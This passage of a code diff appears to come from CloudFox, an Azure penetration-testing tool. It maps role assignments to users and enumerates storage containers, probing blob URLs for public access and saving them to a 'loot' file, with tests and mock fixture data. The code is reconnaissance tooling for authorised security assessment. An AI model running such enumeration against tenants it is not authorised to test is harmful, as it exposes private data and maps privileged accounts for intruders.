client := authorization.NewRoleDefinitionsClient(sub)
client.Authorizer = authorizer
for page, err := client.List(context.TODO(), "", ""); page.NotDone(); page.Next() {
if err != nil {
fmt.Printf("[-] Could not enumerate roles for subscription %s. Skipping it. %s\n", sub, err)
continue
}
fmt.Printf("[*] Enumerating %v roles in subscription %s...\n", len(page.Values()), sub)
for _, role := range page.Values() {
m.Roles[ptr.ToString(role.Name)] = roleDefinitionObject{
displayName: ptr.ToString(role.RoleDefinitionProperties.RoleName),
}
}
}
}
fmt.Printf("[*] Done!\n")
}
}
type roleAssignmentObject struct {
roleName string
principalID string
principalType string
principalDisplayName string
scopeLevel string
scopeLevelName string
}
func (m *RBACMapModule) getRoleAssignments() {
authorizer := utils.AzNewResourceManagerAuthorizer()
for _, subscriptions := range m.Scope {
// Scope: Tenant
for sub := range subscriptions {
// Scope: Subscription
client := authorization.NewRoleAssignmentsClient(sub)
client.Authorizer = authorizer
for page, err := client.List(context.TODO(), ""); page.NotDone(); page.Next() {
if err != nil {
fmt.Printf("[-] Could not enumerate role assignments for subscription %s. Skipping it. %s\n", sub, err)
continue
}
fmt.Printf("[*] Enumerating %v role assignments in subscription %s...\n", len(page.Values()), sub)
for _, roleAssignment := range page.Values() {
m.parseRoleAssignments(roleAssignment)
}
}
}
fmt.Printf("[*] Done!\n")
}
}
func (m *RBACMapModule) parseRoleAssignments(roleAssignment authorization.RoleAssignment) {
if roleAssignment.Properties != nil {
// This API call only returns UUIDs for users and roles. It sucks.
principalID := ptr.ToString(roleAssignment.Properties.PrincipalID)
userName := m.Users[principalID].displayName
var principalType string
if userName == "" {
userName = "None"
principalType = "Other"
} else {
principalType = "User"
}
roleDefID := ptr.ToString(roleAssignment.Properties.RoleDefinitionID)
roleID := strings.Split(roleDefID, "/")[len(strings.Split(roleDefID, "/"))-1]
roleName := m.Roles[roleID].displayName
scope := ptr.ToString(roleAssignment.Properties.Scope)
scopeLevel := strings.Split(scope, "/")[len(strings.Split(scope, "/"))-2]
scopeLevelName := strings.Split(scope, "/")[len(strings.Split(scope, "/"))-1]
m.RoleAssignments = append(
m.RoleAssignments,
roleAssignmentObject{
roleName: roleName,
principalID: principalID,
principalType: principalType,
principalDisplayName: userName,
scopeLevel: scopeLevel,
scopeLevelName: scopeLevelName,
})
}
}
+296
View File
@@ -0,0 +1,296 @@
package azure
import (
"context"
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/storage/mgmt/storage"
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob"
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob/container"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
// Color functions
var cyan = color.New(color.FgCyan).SprintFunc()
func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version string, AzVerbosity int, AzWrapTable bool) error {
var err error
var header []string
var body [][]string
var publicBlobURLs []string
var outputDirectory, controlMessagePrefix string
if AzTenantID != "" && AzSubscriptionID == "" {
// ./cloudfox azure storage --tenant TENANT_ID
fmt.Printf(
"[%s][%s] Enumerating storage accounts for tenant %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
AzTenantID)
header, body, publicBlobURLs, err = getStorageInfoPerTenant(AzTenantID)
controlMessagePrefix = fmt.Sprintf("tenant-%s", AzTenantID)
outputDirectory = filepath.Join(
globals.CLOUDFOX_BASE_DIRECTORY,
globals.AZ_DIR_BASE,
"tenants",
AzTenantID)
} else if AzTenantID == "" && AzSubscriptionID != "" {
// ./cloudfox azure storage --subscription SUBSCRIPTION_ID
fmt.Printf(
"[%s][%s] Enumerating storage accounts for subscription %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
AzSubscriptionID)
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
header, body, publicBlobURLs, err = getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID)
controlMessagePrefix = fmt.Sprintf("subscription-%s", AzSubscriptionID)
outputDirectory = filepath.Join(
globals.CLOUDFOX_BASE_DIRECTORY,
globals.AZ_DIR_BASE,
"subscriptions",
AzSubscriptionID)
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
}
if err != nil {
return err
}
fileNameWithoutExtension := globals.AZ_STORAGE_MODULE_NAME
if body != nil {
internal.OutputSelector(AzVerbosity, AzOutputFormat, header, body, outputDirectory, fileNameWithoutExtension, globals.AZ_STORAGE_MODULE_NAME, AzWrapTable, controlMessagePrefix)
}
if publicBlobURLs != nil {
err = writeBlobURLslootFile(globals.AZ_STORAGE_MODULE_NAME, controlMessagePrefix, outputDirectory, publicBlobURLs)
if err != nil {
return err
}
}
return nil
}
func writeBlobURLslootFile(callingModule, controlMessagePrefix, outputDirectory string, publicBlobURLs []string) error {
lootDirectory := filepath.Join(outputDirectory, "loot")
lootFilePath := filepath.Join(lootDirectory, "public-blob-urls.txt")
err := os.MkdirAll(lootDirectory, os.ModePerm)
if err != nil {
return err
}
file, err := os.Create(lootFilePath)
if err != nil {
return err
}
defer file.Close()
for _, url := range publicBlobURLs {
_, err := file.WriteString(url + "\n")
if err != nil {
return err
}
}
fmt.Printf("[%s][%s] Loot file written to [%s]\n", cyan(callingModule), cyan(controlMessagePrefix), file.Name())
return nil
}
func getStorageInfoPerTenant(AzTenantID string) ([]string, [][]string, []string, error) {
var err error
var header []string
var body, b [][]string
var publicBlobURLs []string
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
header, b, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
if err != nil {
return nil, nil, nil, err
} else {
body = append(body, b...)
}
}
return header, body, publicBlobURLs, nil
}
func getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID string) ([]string, [][]string, []string, error) {
var err error
var header []string
var body [][]string
var publicBlobURLs []string
for _, s := range getSubscriptions() {
if ptr.ToString(s.SubscriptionID) == AzSubscriptionID {
header, body, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
if err != nil {
return nil, nil, nil, err
}
}
}
return header, body, publicBlobURLs, nil
}
func getRelevantStorageAccountData(tenantID, subscriptionID string) ([]string, [][]string, []string, error) {
tableHeader := []string{"Subscription ID", "Storage Account Name", "Container Name", "Access Status"}
var tableBody [][]string
var publicBlobURLs []string
storageAccounts, err := getStorageAccounts(subscriptionID)
if err != nil {
return nil, nil, nil, err
}
for _, sa := range storageAccounts {
blobClient, err := internal.GetStorageAccountBlobClient(tenantID, ptr.ToString(sa.Name))
if err != nil {
return nil, nil, nil, err
}
containers, err := getStorageAccountContainers(blobClient)
if err != nil {
return nil, nil, nil, err
}
for containerName, accessType := range containers {
tableBody = append(tableBody,
[]string{
subscriptionID,
ptr.ToString(sa.Name),
containerName,
accessType})
}
urls, err := getPublicBlobURLs(blobClient, ptr.ToString(sa.Name), containers)
if err != nil {
return nil, nil, nil, err
}
publicBlobURLs = append(publicBlobURLs, urls...)
}
return tableHeader, tableBody, publicBlobURLs, nil
}
var getStorageAccounts = getStorageAccountsOriginal
func getStorageAccountsOriginal(subscriptionID string) ([]storage.Account, error) {
storageClient := internal.GetStorageClient(subscriptionID)
var storageAccounts []storage.Account
for page, err := storageClient.List(context.TODO()); page.NotDone(); page.Next() {
if err != nil {
return nil, fmt.Errorf("could not get storage accounts for subscription")
}
storageAccounts = append(storageAccounts, page.Values()...)
}
return storageAccounts, nil
}
func mockedGetStorageAccounts(subscriptionID string) ([]storage.Account, error) {
testFile, err := os.ReadFile(globals.STORAGE_ACCOUNTS_TEST_FILE)
if err != nil {
return nil, fmt.Errorf("could not open storage accounts test file %s", globals.STORAGE_ACCOUNTS_TEST_FILE)
}
var storageAccountsAll, storageAccountsResults []storage.Account
err = json.Unmarshal(testFile, &storageAccountsAll)
if err != nil {
return nil, fmt.Errorf("could not unmarshall storage accounts test file %s", globals.STORAGE_ACCOUNTS_TEST_FILE)
}
for _, sa := range storageAccountsAll {
saSubID := strings.Split(ptr.ToString(sa.ID), "/")[2]
if saSubID == subscriptionID {
storageAccountsResults = append(storageAccountsResults, sa)
}
}
return storageAccountsResults, nil
}
func getStorageAccountContainers(client *azblob.Client) (map[string]string, error) {
containers := make(map[string]string)
pager := client.NewListContainersPager(&azblob.ListContainersOptions{
Include: azblob.ListContainersInclude{Metadata: true, Deleted: true},
})
for pager.More() {
resp, err := pager.NextPage(context.TODO())
if err != nil {
return nil, err
}
for _, container := range resp.ContainerItems {
if container.Properties.PublicAccess != nil {
containers[ptr.ToString(container.Name)] = "public"
} else {
containers[ptr.ToString(container.Name)] = "private"
}
}
}
return containers, nil
}
func getPublicBlobURLs(client *azblob.Client, storageAccountName string, containers map[string]string) ([]string, error) {
var publicBlobURLs []string
for containerName, accessType := range containers {
if accessType == "public" {
url, err := getPublicBlobURLsForContainer(client, storageAccountName, containerName)
if err != nil {
return nil, err
}
publicBlobURLs = append(publicBlobURLs, url...)
}
}
return publicBlobURLs, nil
}
func getPublicBlobURLsForContainer(client *azblob.Client, storageAccountName, containerName string) ([]string, error) {
blobNames, err := getAllBlobsForContainer(client, containerName)
if err != nil {
return nil, err
}
publicBlobURLs, err := validatePublicBlobURLs(storageAccountName, containerName, blobNames)
if err != nil {
return nil, err
}
return publicBlobURLs, nil
}
func getAllBlobsForContainer(blobClient *azblob.Client, containerName string) ([]string, error) {
var blobNames []string
pager := blobClient.NewListBlobsFlatPager(containerName, &azblob.ListBlobsFlatOptions{
Include: container.ListBlobsInclude{Deleted: true, Versions: true},
})
for pager.More() {
resp, err := pager.NextPage(context.TODO())
if err != nil {
return nil, err
}
for _, b := range resp.Segment.BlobItems {
blobNames = append(blobNames, ptr.ToString(b.Name))
}
}
return blobNames, nil
}
func validatePublicBlobURLs(storageAccountName, containerName string, blobNames []string) ([]string, error) {
var publicBlobURLs []string
if blobNames == nil {
return nil, nil
}
for _, b := range blobNames {
blobURL := fmt.Sprintf("https://%s.blob.core.windows.net/%s/%s", storageAccountName, containerName, b)
response, err := http.Head(blobURL)
if err != nil {
return nil, err
}
if response.StatusCode == http.StatusOK {
publicBlobURLs = append(publicBlobURLs, blobURL)
}
}
return publicBlobURLs, nil
}
+80
View File
@@ -0,0 +1,80 @@
package azure
import (
"fmt"
"log"
"testing"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
)
// TO-DO: add blob URL enumeration to this table test.
// This test won't work anymore until blob URL enumeration is added.
func TestAzStorageCommand(t *testing.T) {
fmt.Println()
fmt.Println("[test case] Azure Storage Accounts")
// Test case parameters
subtests := []struct {
name string
AzTenantID string
AzSubscriptionID string
AzOutputFormat string
AzVerbosity int
resourcesTestFile string
storageAccountsTestFile string
version string
wrapTableOutput bool
}{
{
name: "./cloudfox az storage --tenant 11111111-1111-1111-1111-11111111",
AzTenantID: "11111111-1111-1111-1111-11111111",
AzSubscriptionID: "",
AzOutputFormat: "all",
AzVerbosity: 2,
resourcesTestFile: "./test-data/resources.json",
storageAccountsTestFile: "./test-data/storage-accounts.json",
version: "DEV",
wrapTableOutput: false,
},
{
name: "./cloudfox az storage --subscription BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB",
AzTenantID: "",
AzSubscriptionID: "BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB",
AzOutputFormat: "all",
AzVerbosity: 2,
resourcesTestFile: "./test-data/resources.json",
storageAccountsTestFile: "./test-data/storage-accounts.json",
version: "DEV",
wrapTableOutput: false,
},
{
name: "./cloudfox az storage",
AzOutputFormat: "all",
AzVerbosity: 2,
resourcesTestFile: "./test-data/resources.json",
storageAccountsTestFile: "./test-data/storage-accounts.json",
version: "DEV",
wrapTableOutput: false,
},
}
internal.MockFileSystem(true)
// Mocked functions to simulate Azure calls and responses
getTenants = mockedGetTenants
getSubscriptions = mockedGetSubscriptions
getResourceGroups = mockedGetResourceGroups
getStorageAccounts = mockedGetStorageAccounts
for _, s := range subtests {
fmt.Println()
fmt.Printf("[subtest] %s\n", s.name)
globals.RESOURCES_TEST_FILE = s.resourcesTestFile
globals.STORAGE_ACCOUNTS_TEST_FILE = s.storageAccountsTestFile
err := AzStorageCommand(s.AzTenantID, s.AzSubscriptionID, s.AzOutputFormat, s.version, s.AzVerbosity, s.wrapTableOutput)
if err != nil {
log.Fatal(err)
}
}
}
+70
View File
@@ -0,0 +1,70 @@
[
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/networkInterfaces/NetworkInterface1",
"properties": {
"ipConfigurations": [
{
"properties": {
"privateIPAddress": "192.168.0.1",
"publicIPAddress": {
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress1A"
}
}
},
{
"properties": {
"privateIPAddress": "192.168.0.2",
"publicIPAddress": {
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress1B"
}
}
}
]
}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2/providers/Microsoft.Network/networkInterfaces/NetworkInterface2",
"properties": {
"ipConfigurations": [
{
"properties": {
"privateIPAddress": "192.168.0.3",
"publicIPAddress": {
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupB1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress2A"
}
}
}
]
}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2/providers/Microsoft.Network/networkInterfaces/NetworkInterface3",
"properties": {
"ipConfigurations": [
{
"properties": {
"privateIPAddress": "192.168.0.4",
"publicIPAddress": {
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress3A"
}
}
}
]
}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/networkInterfaces/NetworkInterface4",
"properties": {
"ipConfigurations": [
{
"properties": {
"privateIPAddress": "192.168.0.5",
"publicIPAddress": {
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress4A"
}
}
}
]
}
}
]
+32
View File
@@ -0,0 +1,32 @@
[
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress1A",
"properties": {
"ipAddress": "72.88.100.1"
}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress1B",
"properties": {
"ipAddress": "72.88.100.2"
}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupB1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress2A",
"properties": {
"ipAddress": "72.88.100.3"
}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress3A",
"properties": {
"ipAddress": "72.88.100.4"
}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/publicIPAddresses/PublicIpAddress4A",
"properties": {
"ipAddress": "72.88.100.5"
}
}
]
+69
View File
@@ -0,0 +1,69 @@
{
"Tenants":[
{
"displayName": "CloudFoxTestTenant1",
"tenantId": "11111111-1111-1111-1111-11111111",
"defaultDomain": "cloudfox1.local",
"Subscriptions": [
{
"tenantId" : "11111111-1111-1111-1111-11111111",
"displayName": "SubscriptionA",
"subscriptionId": "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA",
"ResourceGroups": [
{
"Name": "ResourceGroupA1",
"id": "subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1",
"location": "eastus"
},
{
"Name": "ResourceGroupA2",
"id": "subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2",
"location": "eastus"
}
]
},
{
"tenantId" : "11111111-1111-1111-1111-11111111",
"displayName": "SubscriptionB",
"subscriptionId": "BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB",
"ResourceGroups": [
{
"Name": "ResourceGroupB1",
"id": "subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB/resourceGroups/ResourceGroupB1",
"location": "eastus"
},
{
"Name": "ResourceGroupB2",
"id": "subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB/resourceGroups/ResourceGroupB2",
"location": "eastus"
}
]
}
]
},
{
"displayName": "CloudFoxTestTenant2",
"tenantId": "22222222-2222-2222-2222-22222222",
"defaultDomain": "cloudfox2.local",
"Subscriptions": [
{
"tenantId" : "22222222-2222-2222-2222-22222222",
"displayName": "SubscriptionC",
"subscriptionId": "CCCCCCCC-CCCC-CCCC-CCCC-CCCCCCCC",
"ResourceGroups": [
{
"Name": "ResourceGroupC1",
"id": "subscriptions/CCCCCCCC-CCCC-CCCC-CCCCCCCC/resourceGroups/ResourceGroupC1",
"location": "eastus"
},
{
"Name": "ResourceGroupC2",
"id": "subscriptions/CCCCCCCC-CCCC-CCCC-CCCCCCCC/resourceGroups/ResourceGroupC2",
"location": "eastus"
}
]
}
]
}
]
}
+37
View File
@@ -0,0 +1,37 @@
[
{
"properties": {
"scope": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA",
"roleDefinitionId": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7",
"principalId": "8da340e3-5e2e-4f55-a3f7-4ea20d6755be"
}
},
{
"properties": {
"scope": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA",
"roleDefinitionId": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c",
"principalId": "d994d51b-d939-469e-ac73-bd81030cecf0"
}
},
{
"properties": {
"scope": "/subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB",
"roleDefinitionId": "/subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB/providers/Microsoft.Authorization/roleDefinitions/c6decf44-fd0a-444c-a844-d653c394e7ab",
"principalId": "8da340e3-5e2e-4f55-a3f7-4ea20d6755be"
}
},
{
"properties": {
"scope": "/subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB",
"roleDefinitionId": "/subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB/providers/Microsoft.Authorization/roleDefinitions/c6decf44-fd0a-444c-a844-d653c394e7ab",
"principalId": "4ad03365-28cd-40cd-a46f-6e9d1149803d"
}
},
{
"properties": {
"scope": "/subscriptions/CCCCCCCC-CCCC-CCCC-CCCCCCCC",
"roleDefinitionId": "/subscriptions/CCCCCCCC-CCCC-CCCC-CCCCCCCC/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"principalId": "73d5b926-b258-47a2-891c-b14bf9da5dde"
}
}
]
+92
View File
@@ -0,0 +1,92 @@
{
"roleDefinitions": [
{
"id": "/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c",
"properties": {
"roleName": "Contributor",
"description": "Grants full access to manage all resources, but does not allow you to assign roles in Azure RBAC, manage assignments in Azure Blueprints, or share image galleries.",
"type": "BuiltInRole",
"permissions": [
{
"actions": [
"*"
],
"notActions": [
"Microsoft.Authorization/*/Delete",
"Microsoft.Authorization/*/Write",
"Microsoft.Authorization/elevateAccess/Action",
"Microsoft.Blueprint/blueprintAssignments/write",
"Microsoft.Blueprint/blueprintAssignments/delete",
"Microsoft.Compute/galleries/share/action"
]
}
],
"assignableScopes": [
"/"
]
}
},
{
"id":"/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"properties": {
"roleName": "Owner",
"description": "Grants full access to manage all resources, including the ability to assign roles in Azure RBAC.",
"type": "BuiltInRole",
"permissions": [
{
"actions": [
"*"
],
"notActions": []
}
],
"assignableScopes": [
"/"
]
}
},
{
"id": "/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7",
"properties": {
"roleName": "Reader",
"description": "View all resources, but does not allow you to make any changes.",
"type": "BuiltInRole",
"permissions": [
{
"actions": [
"*/read"
],
"notActions": []
}
],
"assignableScopes": [
"/"
]
}
},
{
"id":"/providers/Microsoft.Authorization/roleDefinitions/c6decf44-fd0a-444c-a844-d653c394e7ab",
"properties": {
"roleName": "Data Labeling - Labeler",
"description": "Can label data in Labeling.",
"type": "BuiltInRole",
"permissions": [
{
"actions": [
"Microsoft.MachineLearningServices/workspaces/read",
"Microsoft.MachineLearningServices/workspaces/experiments/runs/read",
"Microsoft.MachineLearningServices/workspaces/labeling/projects/read",
"Microsoft.MachineLearningServices/workspaces/labeling/projects/summary/read",
"Microsoft.MachineLearningServices/workspaces/labeling/labels/read",
"Microsoft.MachineLearningServices/workspaces/labeling/labels/write"
],
"notActions": []
}
],
"assignableScopes": [
"/"
]
}
}
]
}
+86
View File
@@ -0,0 +1,86 @@
[
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/resourceProviderNamespace/resourceType/resourceName",
"name": "Storage-12345",
"kind": "KindBlobStorage",
"location": "eastus",
"properties": {
"allowBlobPublicAccess": true,
"allowCrossTenantReplication": true,
"allowSharedKeyAccess": true,
"minimumTlsVersion": "TLS1_2",
"supportsHttpsTrafficOnly": true
},
"tags": {}
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/resourceProviderNamespace/resourceType/resourceName",
"name": "Storage-678910",
"location": "eastus",
"kind": "KindStorageV2",
"properties": {
"allowBlobPublicAccess": false,
"allowCrossTenantReplication": true,
"allowSharedKeyAccess": true,
"minimumTlsVersion": "TLS1_2",
"supportsHttpsTrafficOnly": true
},
"tags": {}
},
{
"id": "/subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB/resourceGroups/ResourceGroupB1/providers/resourceProviderNamespace/resourceType/resourceName",
"name": "Storage-1112131415",
"location": "eastus",
"kind": "KindStorageV2",
"properties": {
"allowBlobPublicAccess": true,
"allowCrossTenantReplication": true,
"allowSharedKeyAccess": true,
"minimumTlsVersion": "TLS1_2",
"supportsHttpsTrafficOnly": true
},
"tags": {}
},
{
"id": "/subscriptions/BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBB/resourceGroups/ResourceGroupB1/providers/resourceProviderNamespace/resourceType/resourceName",
"name": "Storage-16171819",
"location": "eastus",
"kind": "KindStorageV2",
"properties": {
"allowBlobPublicAccess": false,
"allowCrossTenantReplication": true,
"allowSharedKeyAccess": true,
"minimumTlsVersion": "TLS1_2",
"supportsHttpsTrafficOnly": true
},
"tags": {}
},
{
"id": "/subscriptions/CCCCCCCC-CCCC-CCCC-CCCCCCCC/resourceGroups/ResourceGroupC1/providers/resourceProviderNamespace/resourceType/resourceName",
"name": "Storage-20212223",
"location": "eastus",
"kind": "KindStorageV2",
"properties": {
"allowBlobPublicAccess": false,
"allowCrossTenantReplication": true,
"allowSharedKeyAccess": true,
"minimumTlsVersion": "TLS1_2",
"supportsHttpsTrafficOnly": true
},
"tags": {}
},
{
"id": "/subscriptions/CCCCCCCC-CCCC-CCCC-CCCCCCCC/resourceGroups/ResourceGroupC2/providers/resourceProviderNamespace/resourceType/resourceName",
"name": "Storage-24252627",
"location": "eastus",
"kind": "KindStorageV2",
"properties": {
"allowBlobPublicAccess": false,
"allowCrossTenantReplication": true,
"allowSharedKeyAccess": true,
"minimumTlsVersion": "TLS1_2",
"supportsHttpsTrafficOnly": true
},
"tags": {}
}
]
+20
View File
@@ -0,0 +1,20 @@
[
{
"storage_account_name": "storagedo89vl86ey",
"blob_urls": [
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
]
},
{
"storage_account_name": "storagedo89vl86ey",
"blob_urls": [
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
]
}
]
+82
View File
@@ -0,0 +1,82 @@
{
"azureADUsers": [
{
"objectId": "8da340e3-5e2e-4f55-a3f7-4ea20d6755be",
"accountEnabled": true,
"assignedLicenses": [],
"assignedPlans": [],
"createdDateTime": "2022-11-21T00:28:36Z",
"displayName": "User 1",
"mailNickname": "test_username1",
"objectType": "User",
"odata.type": "Microsoft.DirectoryServices.User",
"otherMails": [],
"passwordProfile": {
"enforceChangePasswordPolicy": false,
"forceChangePasswordNextLogin": true,
"password": null
},
"provisionedPlans": [],
"provisioningErrors": [],
"proxyAddresses": [],
"refreshTokensValidFromDateTime": "2022-11-21T00:28:36Z",
"signInNames": [],
"[email protected]": "directoryObjects/11111111-1111-1111-1111-11111111/Microsoft.DirectoryServices.User/thumbnailPhoto",
"userIdentities": [],
"userPrincipalName": "[email protected]",
"userType": "Member"
},
{
"objectId": "d994d51b-d939-469e-ac73-bd81030cecf0",
"accountEnabled": true,
"assignedLicenses": [],
"assignedPlans": [],
"createdDateTime": "2022-11-21T00:28:55Z",
"displayName": "User 2",
"mailNickname": "test_username2",
"objectType": "User",
"odata.type": "Microsoft.DirectoryServices.User",
"otherMails": [],
"passwordProfile": {
"enforceChangePasswordPolicy": false,
"forceChangePasswordNextLogin": true,
"password": null
},
"provisionedPlans": [],
"provisioningErrors": [],
"proxyAddresses": [],
"refreshTokensValidFromDateTime": "2022-11-21T00:28:55Z",
"signInNames": [],
"[email protected]": "directoryObjects/11111111-1111-1111-1111-11111111/Microsoft.DirectoryServices.User/thumbnailPhoto",
"userIdentities": [],
"userPrincipalName": "[email protected]",
"userType": "Member"
},
{
"objectId": "4ad03365-28cd-40cd-a46f-6e9d1149803d",
"accountEnabled": true,
"assignedLicenses": [],
"assignedPlans": [],
"createdDateTime": "2022-11-21T00:29:10Z",
"displayName": "User 3",
"mailNickname": "test_username3",
"objectType": "User",
"odata.type": "Microsoft.DirectoryServices.User",
"otherMails": [],
"passwordProfile": {
"enforceChangePasswordPolicy": false,
"forceChangePasswordNextLogin": true,
"password": null
},
"provisionedPlans": [],
"provisioningErrors": [],
"proxyAddresses": [],
"refreshTokensValidFromDateTime": "2022-11-21T00:29:10Z",
"signInNames": [],
"[email protected]": "directoryObjects/11111111-1111-1111-1111-11111111/Microsoft.DirectoryServices.User/thumbnailPhoto",
"userIdentities": [],
"userPrincipalName": "[email protected]",
"userType": "Member"
}
]
}
+56
View File
@@ -0,0 +1,56 @@
[
{
"name": "TestVM-1",
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Compute/virtualMachines/TestVM-1",
"location": "us-east-1",
"properties": {
"networkProfile": {
"networkInterfaces": [
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/networkInterfaces/NetworkInterface1"
}
]
},
"osProfile": {
"adminUsername": "admin"
}
}
},
{
"name": "TestVM-2",
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2/providers/Microsoft.Compute/virtualMachines/TestVM-2",
"location": "us-west-2",
"properties": {
"networkProfile": {
"networkInterfaces": [
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2/providers/Microsoft.Network/networkInterfaces/NetworkInterface2"
},
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA2/providers/Microsoft.Network/networkInterfaces/NetworkInterface3"
}
]
},
"osProfile": {
"adminUsername": "admin"
}
}
},
{
"name": "TestVM-3",
